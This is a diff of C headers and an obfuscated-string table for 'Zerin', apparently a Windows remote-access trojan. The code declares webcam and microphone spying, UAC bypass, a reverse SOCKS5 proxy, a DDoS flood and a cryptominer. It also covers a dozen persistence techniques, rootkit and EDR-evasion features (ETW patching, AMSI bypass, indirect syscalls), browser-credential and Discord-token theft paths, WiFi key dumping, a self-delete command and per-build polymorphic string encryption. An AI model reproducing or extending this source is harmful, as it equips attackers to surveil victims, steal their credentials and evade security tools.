int cmd_clipper_config(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Webcam
|
||||
int cmd_webcam_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_webcam_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_webcam_list(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Microphone
|
||||
int cmd_mic_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_mic_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// UAC elevation
|
||||
int cmd_elevate(const task_t *task, task_result_t *result, char *cwd);
|
||||
void maybe_auto_elevate(void);
|
||||
|
||||
// SOCKS5 reverse proxy
|
||||
int cmd_socks5_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_socks5_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
void socks5_cleanup(void);
|
||||
|
||||
// DDoS HTTP flood
|
||||
int cmd_ddos_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ddos_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Cryptominer (XMRig)
|
||||
int cmd_miner_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_miner_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_miner_status(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Utility
|
||||
bool is_elevated(void);
|
||||
|
||||
// Recon — gather system info for checkin
|
||||
int recon_gather_checkin(checkin_t *ci, const char *agent_id,
|
||||
uint32_t sleep_interval, uint32_t jitter_percent,
|
||||
int64_t kill_date);
|
||||
|
||||
#endif // ZERIN_COMMANDS_H
|
||||
Executable
+84
@@ -0,0 +1,84 @@
|
||||
#ifndef ZERIN_CONFIG_H
|
||||
#define ZERIN_CONFIG_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define ZERIN_MAX_URLS 4
|
||||
#define ZERIN_MAX_URL_LEN 512
|
||||
/* WARNING: XOR is placeholder encryption only — trivially reversible.
|
||||
* This should be replaced with ChaCha20 (or similar) once the builder
|
||||
* is updated to match. Do not rely on this for any real confidentiality. */
|
||||
#define CONFIG_XOR_KEY 0xAB
|
||||
|
||||
// Persistence method flags (auto-install on first run)
|
||||
#define PERSIST_RUNKEY 0x0001
|
||||
#define PERSIST_SCHTASK 0x0002
|
||||
#define PERSIST_SERVICE 0x0004
|
||||
#define PERSIST_STARTUP 0x0008
|
||||
#define PERSIST_LOGONSCRIPT 0x0010
|
||||
#define PERSIST_SCREENSAVER 0x0020
|
||||
#define PERSIST_IFEO 0x0040
|
||||
#define PERSIST_BITS 0x0080
|
||||
#define PERSIST_COM 0x0100
|
||||
#define PERSIST_WMI 0x0200
|
||||
#define PERSIST_PORTMON 0x0400
|
||||
#define PERSIST_SSP 0x0800
|
||||
|
||||
#define PERSIST_ADMIN_MASK 0x0E44 // SERVICE|IFEO|WMI|PORTMON|SSP
|
||||
|
||||
typedef struct {
|
||||
// Callback URLs (failover list)
|
||||
char callback_urls[ZERIN_MAX_URLS][ZERIN_MAX_URL_LEN];
|
||||
uint32_t num_urls;
|
||||
|
||||
// Crypto keys (compiled in)
|
||||
uint8_t server_pubkey[32]; // Server's X25519 public key
|
||||
uint8_t agent_privkey[32]; // Agent's X25519 private key
|
||||
uint8_t agent_pubkey[32]; // Agent's X25519 public key
|
||||
|
||||
// Agent identity
|
||||
char agent_id[37]; // UUID string
|
||||
|
||||
// Timing
|
||||
uint32_t sleep_interval; // Seconds between beacons
|
||||
uint32_t jitter_percent; // 0-50
|
||||
int64_t kill_date; // Unix timestamp, 0 = no kill date
|
||||
|
||||
// HTTP
|
||||
char user_agent[256];
|
||||
|
||||
// Persistence
|
||||
uint32_t persist_methods; // Bitmask of methods to auto-install
|
||||
|
||||
// Rootkit
|
||||
uint32_t rootkit_enabled; // Enable r77-style rootkit features
|
||||
|
||||
// Auto-elevation
|
||||
uint32_t auto_elevate; // Attempt silent UAC bypass at startup
|
||||
|
||||
// Install location (self-copy)
|
||||
uint32_t install_dir; // Base dir: 0=TEMP, 1=LOCALAPPDATA, 2=APPDATA, 3=PROGRAMDATA, 4=USERPROFILE
|
||||
char install_subdir[64]; // Subfolder (e.g. "Microsoft\\WindowsUpdate")
|
||||
char install_filename[64]; // Exe filename (e.g. "SecurityHealthService.exe")
|
||||
} zerin_config_t;
|
||||
|
||||
// Initialize config with compiled-in defaults
|
||||
int config_init(zerin_config_t *cfg);
|
||||
|
||||
// Validate config values
|
||||
bool config_validate(const zerin_config_t *cfg);
|
||||
|
||||
// Update config from server command
|
||||
void config_update_sleep(zerin_config_t *cfg, uint32_t interval, uint32_t jitter);
|
||||
|
||||
// Check if kill date has passed
|
||||
bool config_is_expired(const zerin_config_t *cfg);
|
||||
|
||||
// XOR decrypt config blob
|
||||
void config_decrypt(uint8_t *data, size_t len, uint8_t key);
|
||||
|
||||
// Derive a per-machine unique agent ID from build ID + hardware fingerprint
|
||||
void config_derive_machine_id(zerin_config_t *cfg);
|
||||
|
||||
#endif // ZERIN_CONFIG_H
|
||||
Executable
+129
@@ -0,0 +1,129 @@
|
||||
#ifndef ZERIN_CRYPTO_H
|
||||
#define ZERIN_CRYPTO_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define CRYPTO_KEY_SIZE 32
|
||||
#define CRYPTO_NONCE_SIZE 12
|
||||
#define CRYPTO_TAG_SIZE 16
|
||||
#define CRYPTO_SHA256_SIZE 32
|
||||
#define CRYPTO_X25519_KEY 32
|
||||
|
||||
// ============================================================================
|
||||
// Random
|
||||
// ============================================================================
|
||||
int crypto_random_bytes(uint8_t *buf, size_t len);
|
||||
double crypto_random_float(void); // [0.0, 1.0)
|
||||
|
||||
// ============================================================================
|
||||
// SHA-256
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
uint32_t state[8];
|
||||
uint64_t bitcount;
|
||||
uint8_t buffer[64];
|
||||
uint32_t buflen;
|
||||
} sha256_ctx_t;
|
||||
|
||||
void sha256_init(sha256_ctx_t *ctx);
|
||||
void sha256_update(sha256_ctx_t *ctx, const uint8_t *data, size_t len);
|
||||
void sha256_final(sha256_ctx_t *ctx, uint8_t out[32]);
|
||||
void sha256(const uint8_t *data, size_t len, uint8_t out[32]);
|
||||
|
||||
// HMAC-SHA256
|
||||
void hmac_sha256(const uint8_t *key, size_t key_len,
|
||||
const uint8_t *data, size_t data_len,
|
||||
uint8_t out[32]);
|
||||
|
||||
// ============================================================================
|
||||
// HKDF (RFC 5869)
|
||||
// ============================================================================
|
||||
int hkdf_extract(const uint8_t *salt, size_t salt_len,
|
||||
const uint8_t *ikm, size_t ikm_len,
|
||||
uint8_t prk[32]);
|
||||
|
||||
int hkdf_expand(const uint8_t prk[32],
|
||||
const uint8_t *info, size_t info_len,
|
||||
uint8_t *okm, size_t okm_len);
|
||||
|
||||
int hkdf_derive(const uint8_t *salt, size_t salt_len,
|
||||
const uint8_t *ikm, size_t ikm_len,
|
||||
const uint8_t *info, size_t info_len,
|
||||
uint8_t *okm, size_t okm_len);
|
||||
|
||||
// ============================================================================
|
||||
// X25519 (RFC 7748)
|
||||
// ============================================================================
|
||||
void x25519_clamp(uint8_t key[32]);
|
||||
int x25519_keygen(uint8_t privkey[32], uint8_t pubkey[32]);
|
||||
int x25519_shared_secret(const uint8_t privkey[32],
|
||||
const uint8_t peer_pubkey[32],
|
||||
uint8_t shared[32]);
|
||||
|
||||
// ============================================================================
|
||||
// ChaCha20 (RFC 8439)
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
uint32_t state[16];
|
||||
} chacha20_ctx_t;
|
||||
|
||||
void chacha20_init(chacha20_ctx_t *ctx, const uint8_t key[32],
|
||||
const uint8_t nonce[12], uint32_t counter);
|
||||
void chacha20_encrypt(chacha20_ctx_t *ctx, const uint8_t *in,
|
||||
uint8_t *out, size_t len);
|
||||
|
||||
// ============================================================================
|
||||
// Poly1305 (RFC 8439)
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
uint32_t r[5];
|
||||
uint32_t h[5];
|
||||
uint32_t pad[4];
|
||||
uint8_t buffer[16];
|
||||
size_t buflen;
|
||||
size_t total;
|
||||
} poly1305_ctx_t;
|
||||
|
||||
void poly1305_init(poly1305_ctx_t *ctx, const uint8_t key[32]);
|
||||
void poly1305_update(poly1305_ctx_t *ctx, const uint8_t *data, size_t len);
|
||||
void poly1305_final(poly1305_ctx_t *ctx, uint8_t tag[16]);
|
||||
|
||||
// ============================================================================
|
||||
// ChaCha20-Poly1305 AEAD (RFC 8439)
|
||||
// ============================================================================
|
||||
|
||||
// Encrypt: returns ciphertext_len (plaintext_len + 16 for tag)
|
||||
// out must have room for plaintext_len + CRYPTO_TAG_SIZE
|
||||
int aead_encrypt(const uint8_t key[32], const uint8_t nonce[12],
|
||||
const uint8_t *aad, size_t aad_len,
|
||||
const uint8_t *plaintext, size_t plaintext_len,
|
||||
uint8_t *out);
|
||||
|
||||
// Decrypt: returns 0 on success, -1 on auth failure
|
||||
// out must have room for ciphertext_len - CRYPTO_TAG_SIZE
|
||||
int aead_decrypt(const uint8_t key[32], const uint8_t nonce[12],
|
||||
const uint8_t *aad, size_t aad_len,
|
||||
const uint8_t *ciphertext, size_t ciphertext_len,
|
||||
uint8_t *out);
|
||||
|
||||
// ============================================================================
|
||||
// Key Exchange
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
uint8_t agent_pubkey_hash[32]; // SHA256(agent_pubkey)
|
||||
uint8_t ephemeral_pubkey[32];
|
||||
uint8_t ephemeral_privkey[32]; // NOT sent
|
||||
uint8_t session_key[32];
|
||||
} key_exchange_t;
|
||||
|
||||
int key_exchange_init(key_exchange_t *kx, const uint8_t agent_pubkey[32]);
|
||||
int key_exchange_derive(key_exchange_t *kx, const uint8_t server_pubkey[32]);
|
||||
|
||||
// ============================================================================
|
||||
// Utility
|
||||
// ============================================================================
|
||||
void secure_zero(void *ptr, size_t len);
|
||||
int constant_time_compare(const uint8_t *a, const uint8_t *b, size_t len);
|
||||
|
||||
#endif // ZERIN_CRYPTO_H
|
||||
Executable
+46
@@ -0,0 +1,46 @@
|
||||
#ifndef DXGI_CAPTURE_H
|
||||
#define DXGI_CAPTURE_H
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef struct dxgi_ctx dxgi_ctx_t;
|
||||
|
||||
/* Initialize DXGI Desktop Duplication.
|
||||
* Returns context on success, NULL on failure (e.g., no GPU, RDP session).
|
||||
* Dynamically loads d3d11.dll and dxgi.dll — no link-time dependencies. */
|
||||
dxgi_ctx_t *dxgi_init(void);
|
||||
|
||||
/* Capture current frame via Desktop Duplication.
|
||||
* Returns:
|
||||
* 0 = success, pixels/width/height/dirty_rects/num_dirty filled
|
||||
* 1 = no change (timeout, screen idle) — caller should skip frame
|
||||
* -1 = error (ACCESS_LOST, device removed, etc.) — caller should reinit or fallback
|
||||
*
|
||||
* On success, pixels points to tightly-packed RGB (3 bytes/pixel, top-down).
|
||||
* dirty_rects points to an internal array valid until the next call. */
|
||||
int dxgi_capture(dxgi_ctx_t *ctx, uint8_t **pixels, int *width, int *height,
|
||||
RECT **dirty_rects, int *num_dirty);
|
||||
|
||||
/* Capture frame returning raw mapped BGRA pointer (no RGB conversion).
|
||||
* Returns:
|
||||
* 0 = success, bgra_data/row_pitch/width/height/dirty_rects/num_dirty filled
|
||||
* 1 = no change (timeout)
|
||||
* -1 = error
|
||||
*
|
||||
* On success, bgra_data points to mapped GPU memory (BGRA, 4 bytes/pixel).
|
||||
* Caller MUST call dxgi_release_frame() when done reading the data. */
|
||||
int dxgi_capture_mapped(dxgi_ctx_t *ctx, const uint8_t **bgra_data,
|
||||
int *row_pitch, int *width, int *height,
|
||||
RECT **dirty_rects, int *num_dirty);
|
||||
|
||||
/* Release the acquired frame (must be called after dxgi_capture/dxgi_capture_mapped returns 0). */
|
||||
void dxgi_release_frame(dxgi_ctx_t *ctx);
|
||||
|
||||
/* Clean up all DXGI/D3D11 resources. */
|
||||
void dxgi_cleanup(dxgi_ctx_t *ctx);
|
||||
|
||||
#endif /* _WIN32 */
|
||||
#endif /* DXGI_CAPTURE_H */
|
||||
Executable
+1062
File diff suppressed because it is too large
Load Diff
Executable
+24
@@ -0,0 +1,24 @@
|
||||
#ifndef ZERIN_EVASION_H
|
||||
#define ZERIN_EVASION_H
|
||||
|
||||
#include "strings.h"
|
||||
#include "syscalls.h"
|
||||
#include "sleep_obf.h"
|
||||
#include "indirect_syscalls.h"
|
||||
#include "rootkit.h"
|
||||
|
||||
// Initialize all evasion subsystems.
|
||||
// Call once early in agent startup.
|
||||
int evasion_init(void);
|
||||
|
||||
// Patch EtwEventWrite to prevent runtime telemetry.
|
||||
int evasion_patch_etw(void);
|
||||
|
||||
// Check for VM/sandbox environment (score-based detection).
|
||||
// Returns 1 if sandbox detected, 0 if clean.
|
||||
int evasion_check_vm(void);
|
||||
|
||||
// Clean up evasion state.
|
||||
void evasion_cleanup(void);
|
||||
|
||||
#endif // ZERIN_EVASION_H
|
||||
Executable
+97
@@ -0,0 +1,97 @@
|
||||
#ifndef ZERIN_INDIRECT_SYSCALLS_H
|
||||
#define ZERIN_INDIRECT_SYSCALLS_H
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
// ============================================================================
|
||||
// Indirect Syscalls
|
||||
//
|
||||
// Instead of calling Nt* functions through ntdll (where EDR inline hooks
|
||||
// intercept every call), we:
|
||||
// 1. Extract the System Service Number (SSN) from ntdll's stub bytes
|
||||
// 2. Find a clean "syscall; ret" gadget inside ntdll's .text section
|
||||
// 3. Set EAX = SSN, R10 = first arg, then JMP to the gadget
|
||||
//
|
||||
// The return address on the call stack points into ntdll's address range,
|
||||
// so EDR call-stack inspection sees a legitimate origin.
|
||||
//
|
||||
// Halo's Gate: If a stub is hooked (first bytes overwritten), we scan
|
||||
// neighboring syscall stubs (SSN ± offset) to calculate the correct SSN.
|
||||
// ============================================================================
|
||||
|
||||
// Initialize the indirect syscall table.
|
||||
// Must be called once during agent startup (after PEB is accessible).
|
||||
// Returns 0 on success, -1 on failure.
|
||||
int indirect_syscalls_init(void);
|
||||
|
||||
// Check if indirect syscalls were initialized successfully.
|
||||
int indirect_syscalls_ready(void);
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Wrapper functions — same signatures as the real Nt* functions.
|
||||
// Implemented as naked assembly stubs that dispatch via SSN + gadget JMP.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
NTSTATUS sc_NtAllocateVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
PSIZE_T RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG Protect
|
||||
);
|
||||
|
||||
NTSTATUS sc_NtProtectVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
PSIZE_T RegionSize,
|
||||
ULONG NewProtect,
|
||||
PULONG OldProtect
|
||||
);
|
||||
|
||||
NTSTATUS sc_NtWriteVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T NumberOfBytesToWrite,
|
||||
PSIZE_T NumberOfBytesWritten
|
||||
);
|
||||
|
||||
NTSTATUS sc_NtCreateThreadEx(
|
||||
PHANDLE ThreadHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PVOID ObjectAttributes,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID StartRoutine,
|
||||
PVOID Argument,
|
||||
ULONG CreateFlags,
|
||||
SIZE_T ZeroBits,
|
||||
SIZE_T StackSize,
|
||||
SIZE_T MaximumStackSize,
|
||||
PVOID AttributeList
|
||||
);
|
||||
|
||||
NTSTATUS sc_NtClose(
|
||||
HANDLE Handle
|
||||
);
|
||||
|
||||
NTSTATUS sc_NtQueryInformationProcess(
|
||||
HANDLE ProcessHandle,
|
||||
ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
NTSTATUS sc_NtFreeVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
PSIZE_T RegionSize,
|
||||
ULONG FreeType
|
||||
);
|
||||
|
||||
#endif // _WIN32
|
||||
#endif // ZERIN_INDIRECT_SYSCALLS_H
|
||||
Executable
+155
@@ -0,0 +1,155 @@
|
||||
# Obfuscated string definitions — one ID, "string" per line
|
||||
# Lines starting with # are comments. Blank lines are ignored.
|
||||
# Generated code uses ChaCha20 encryption with a random key per build.
|
||||
|
||||
OBF_ZERIN_UPDATE, "ZerinUpdate"
|
||||
OBF_ZERIN_SVC, "ZerinSvc"
|
||||
OBF_ZERIN_MAINTENANCE, "ZerinMaintenance"
|
||||
OBF_ZERIN_TRANSFER, "ZerinTransfer"
|
||||
OBF_ZERIN_WMI, "ZerinWMI"
|
||||
OBF_ZERIN_PORT, "ZerinPort"
|
||||
OBF_ZERIN_UPDATE_EXE, "ZerinUpdate.exe"
|
||||
OBF_ZERIN_EXE, "zerin.exe"
|
||||
OBF_RUN_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
OBF_SESSION_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo"
|
||||
OBF_ENVIRONMENT, "Environment"
|
||||
OBF_DESKTOP_PATH, "Control Panel\\Desktop"
|
||||
OBF_SCRNSAVE, "SCRNSAVE.EXE"
|
||||
OBF_LOGON_SCRIPT, "UserInitMprLogonScript"
|
||||
OBF_MAINTENANCE_VAL, "Maintenance"
|
||||
OBF_SETHC_IFEO, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"
|
||||
OBF_PRINT_MONITORS, "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors"
|
||||
OBF_LSA_PATH, "SYSTEM\\CurrentControlSet\\Control\\Lsa"
|
||||
OBF_SECURITY_PACKAGES, "Security Packages"
|
||||
OBF_COM_CLSID_PATH, "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32"
|
||||
OBF_SHM_NAME, "Local\\ZerinRkShm"
|
||||
OBF_EVT_NAME, "Local\\ZerinRkEvt"
|
||||
OBF_SERVICES_PATH, "SYSTEM\\CurrentControlSet\\Services"
|
||||
OBF_DEBUGGER, "Debugger"
|
||||
OBF_DRIVER, "Driver"
|
||||
OBF_THREADING_MODEL, "ThreadingModel"
|
||||
OBF_SCREEN_SAVE_ACTIVE, "ScreenSaveActive"
|
||||
OBF_SCREEN_SAVE_TIMEOUT, "ScreenSaveTimeOut"
|
||||
OBF_ZERIN_DISPLAY, "Zerin Maintenance Service"
|
||||
OBF_CMD_EXE, "cmd.exe"
|
||||
OBF_NTDLL, "ntdll.dll"
|
||||
OBF_KERNEL32, "kernel32.dll"
|
||||
OBF_ADVAPI32, "advapi32.dll"
|
||||
OBF_WINHTTP, "winhttp.dll"
|
||||
OBF_POWERSHELL, "powershell.exe"
|
||||
OBF_PERSIST_MUTEX, "Local\\ZerinPersistMtx"
|
||||
OBF_MS_SETTINGS_CMD, "Software\\Classes\\ms-settings\\shell\\open\\command"
|
||||
OBF_DELEGATE_EXECUTE, "DelegateExecute"
|
||||
OBF_NETAPI32, "netapi32.dll"
|
||||
OBF_AMSI, "amsi.dll"
|
||||
|
||||
# ── AV / Defender process names ──────────────────────────────────────
|
||||
OBF_MSMPENG, "MsMpEng.exe"
|
||||
OBF_MPCMDRUN, "MpCmdRun.exe"
|
||||
OBF_MSSENSE, "MsSense.exe"
|
||||
OBF_SECHEALTH, "SecurityHealthService.exe"
|
||||
OBF_SGRMBROKER, "SgrmBroker.exe"
|
||||
|
||||
# ── Browser credential paths ────────────────────────────────────────
|
||||
OBF_CHROME_USERDATA, "Google\\Chrome\\User Data"
|
||||
OBF_EDGE_USERDATA, "Microsoft\\Edge\\User Data"
|
||||
OBF_BRAVE_USERDATA, "BraveSoftware\\Brave-Browser\\User Data"
|
||||
OBF_OPERA_USERDATA, "Opera Software\\Opera Stable"
|
||||
OBF_VIVALDI_USERDATA, "Vivaldi\\User Data"
|
||||
OBF_FIREFOX_REG, "SOFTWARE\\Mozilla\\Mozilla Firefox"
|
||||
OBF_FIREFOX_REGMAIN, "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main"
|
||||
OBF_FIREFOX_X64, "C:\\Program Files\\Mozilla Firefox"
|
||||
OBF_FIREFOX_X86, "C:\\Program Files (x86)\\Mozilla Firefox"
|
||||
|
||||
# ── DLL names ────────────────────────────────────────────────────────
|
||||
OBF_VERSION_DLL, "version.dll"
|
||||
OBF_DXGI_DLL, "dxgi.dll"
|
||||
OBF_D3D11_DLL, "d3d11.dll"
|
||||
OBF_RSTRTMGR_DLL, "rstrtmgr.dll"
|
||||
|
||||
# ── Command strings ─────────────────────────────────────────────────
|
||||
OBF_WMIC_AV, "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list"
|
||||
OBF_NETSH_PROFILES, "netsh wlan show profiles"
|
||||
OBF_NETSH_PROFILE_KEY, "netsh wlan show profile name=\"%s\" key=clear"
|
||||
OBF_IPCONFIG_FLUSH, "cmd.exe /c ipconfig /flushdns"
|
||||
OBF_SELF_DELETE, "cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \"%s\""
|
||||
|
||||
# ── Registry paths ───────────────────────────────────────────────────
|
||||
OBF_REG_CRYPTOGRAPHY, "SOFTWARE\\Microsoft\\Cryptography"
|
||||
OBF_REG_PUTTY, "SOFTWARE\\SimonTatham\\PuTTY\\Sessions"
|
||||
OBF_REG_CPU, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
|
||||
|
||||
# ── System paths ─────────────────────────────────────────────────────
|
||||
OBF_NTDLL_PATH, "C:\\Windows\\System32\\ntdll.dll"
|
||||
OBF_HOSTS_PATH, "C:\\Windows\\System32\\drivers\\etc\\hosts"
|
||||
OBF_SETHC_EXE, "sethc.exe"
|
||||
OBF_FODHELPER_EXE, "fodhelper.exe"
|
||||
|
||||
# ── Branding / class names ───────────────────────────────────────────
|
||||
OBF_CLIPMON_CLASS, "ZerinClipMon"
|
||||
OBF_BLACK_CLASS, "ZerinBlack"
|
||||
OBF_WEBCAM_CLASS, "ZerinWebcam"
|
||||
|
||||
# ── Discord paths ────────────────────────────────────────────────────
|
||||
OBF_DISCORD_LDB, "discord\\Local Storage\\leveldb"
|
||||
OBF_DISCORD_CANARY_LDB, "discordcanary\\Local Storage\\leveldb"
|
||||
OBF_DISCORD_PTB_LDB, "discordptb\\Local Storage\\leveldb"
|
||||
|
||||
# ── Browser exe paths (for VNC) ──────────────────────────────────────
|
||||
OBF_BRAVE_EXE_PATH, "BraveSoftware\\Brave-Browser\\Application\\brave.exe"
|
||||
OBF_CHROME_EXE_PATH, "Google\\Chrome\\Application\\chrome.exe"
|
||||
OBF_EDGE_EXE_PATH, "Microsoft\\Edge\\Application\\msedge.exe"
|
||||
OBF_FIREFOX_EXE_PATH, "Mozilla Firefox\\firefox.exe"
|
||||
|
||||
# ── PowerShell / persistence command templates ──────────────────────
|
||||
OBF_PS_PREFIX, "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "
|
||||
OBF_PS_HIDDEN_PREFIX, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "
|
||||
OBF_SCHTASKS_FMT, "schtasks /Create /TN \"%s\" /TR \"\\\"%s\\\"\" /SC MINUTE /MO %s /F"
|
||||
OBF_BITS_CHAIN_FMT, "cmd.exe /c bitsadmin /create \"%s\" && bitsadmin /addfile \"%s\" \"https://localhost/noexist\" \"%%TEMP%%\\zerin_bits.tmp\" && bitsadmin /SetNotifyCmdLine \"%s\" \"%s\" NUL && bitsadmin /SetMinRetryDelay \"%s\" 60 && bitsadmin /SetNoProgressTimeout \"%s\" 2592000 && bitsadmin /resume \"%s\""
|
||||
OBF_WMI_PS_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \""
|
||||
|
||||
# ── AMSI / injection ───────────────────────────────────────────────
|
||||
OBF_AMSI_OPEN_SESSION, "AmsiOpenSession"
|
||||
OBF_REFLECTIVE_DLL_MAIN, "ReflectiveDllMain"
|
||||
|
||||
# ── Elevation moniker ─────────────────────────────────────────────
|
||||
OBF_ELEVATION_MONIKER, "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
|
||||
|
||||
# ── DDoS status strings ───────────────────────────────────────────
|
||||
OBF_DDOS_STARTED_FMT, "DDoS flood started: %s %s | %d threads | %d seconds"
|
||||
OBF_DDOS_ALREADY, "DDoS flood already running. Stop it first."
|
||||
OBF_DDOS_STOPPED_FMT, "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s"
|
||||
OBF_DDOS_NOT_RUNNING, "No DDoS flood is running"
|
||||
|
||||
# ── Miner status strings ──────────────────────────────────────────
|
||||
OBF_MINER_STARTED_FMT, "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d"
|
||||
OBF_MINER_ALREADY, "Miner already running. Stop it first."
|
||||
OBF_MINER_STOPPED_FMT, "Miner stopped (PID %lu)"
|
||||
OBF_MINER_NOT_RUNNING, "No miner is running"
|
||||
OBF_MINER_DIR, "Microsoft\\Runtime"
|
||||
OBF_MINER_EXE, "svcruntime.exe"
|
||||
|
||||
# ── SOCKS5 status strings ─────────────────────────────────────────
|
||||
OBF_SOCKS5_STARTED, "SOCKS5 reverse proxy started"
|
||||
OBF_SOCKS5_STOPPED, "SOCKS5 reverse proxy stopped"
|
||||
OBF_SOCKS5_NOT_RUNNING, "SOCKS5 was not running"
|
||||
|
||||
# ── UAC cleanup paths ─────────────────────────────────────────────
|
||||
OBF_MS_SETTINGS_OPEN, "Software\\Classes\\ms-settings\\shell\\open"
|
||||
OBF_MS_SETTINGS_SHELL, "Software\\Classes\\ms-settings\\shell"
|
||||
OBF_MS_SETTINGS_ROOT, "Software\\Classes\\ms-settings"
|
||||
|
||||
# ── hVNC / VNC status strings ──────────────────────────────────────
|
||||
OBF_HVNC_STARTED, "hVNC streaming started (hidden desktop created)"
|
||||
OBF_HVNC_STOPPED, "hVNC stopped (hidden desktop destroyed)"
|
||||
OBF_HVNC_NOT_RUNNING, "hVNC was not running"
|
||||
OBF_HVNC_NOT_ACTIVE, "hVNC session is not active"
|
||||
|
||||
# ── Persistence cleanup (uninstall) ───────────────────────────────
|
||||
OBF_SCHTASKS_DELETE_FMT, "schtasks /Delete /TN \"%s\" /F"
|
||||
OBF_BITSADMIN_CANCEL_FMT, "bitsadmin /cancel \"%s\""
|
||||
OBF_PS_WMIDELETE_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\""
|
||||
|
||||
# ── PowerShell encoded command formats ─────────────────────────────
|
||||
OBF_PS_ENCODED_HIDDEN, "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s"
|
||||
OBF_PS_ENCODED, "powershell -NoProfile -EncodedCommand %s"
|
||||
Executable
+132
@@ -0,0 +1,132 @@
|
||||
// Auto-generated by generate_strings.py - DO NOT EDIT
|
||||
// Regenerated with random key on every build for polymorphic output.
|
||||
#ifndef OBF_STRINGS_GEN_H
|
||||
#define OBF_STRINGS_GEN_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
// String IDs
|
||||
enum {
|
||||
OBF_ZERIN_UPDATE = 0, // "Atow1LUpdate" (12 bytes)
|
||||
OBF_ZERIN_SVC = 1, // "Atow1LSvc" (9 bytes)
|
||||
OBF_ZERIN_MAINTENANCE = 2, // "Atow1LMaintenance" (17 bytes)
|
||||
OBF_ZERIN_TRANSFER = 3, // "Atow1LTransfer" (14 bytes)
|
||||
OBF_ZERIN_WMI = 4, // "Atow1LWMI" (9 bytes)
|
||||
OBF_ZERIN_PORT = 5, // "Atow1LPort" (10 bytes)
|
||||
OBF_ZERIN_UPDATE_EXE = 6, // "Atow1LUpdate.exe" (16 bytes)
|
||||
OBF_ZERIN_EXE = 7, // "atow1L.exe" (10 bytes)
|
||||
OBF_RUN_KEY_PATH = 8, // "Software\\Microsoft\\Windows\\CurrentVersion\\Run" (45 bytes)
|
||||
OBF_SESSION_KEY_PATH = 9, // "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo" (62 bytes)
|
||||
OBF_ENVIRONMENT = 10, // "Environment" (11 bytes)
|
||||
OBF_DESKTOP_PATH = 11, // "Control Panel\\Desktop" (21 bytes)
|
||||
OBF_SCRNSAVE = 12, // "SCRNSAVE.EXE" (12 bytes)
|
||||
OBF_LOGON_SCRIPT = 13, // "UserInitMprLogonScript" (22 bytes)
|
||||
OBF_MAINTENANCE_VAL = 14, // "Maintenance" (11 bytes)
|
||||
OBF_SETHC_IFEO = 15, // "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" (83 bytes)
|
||||
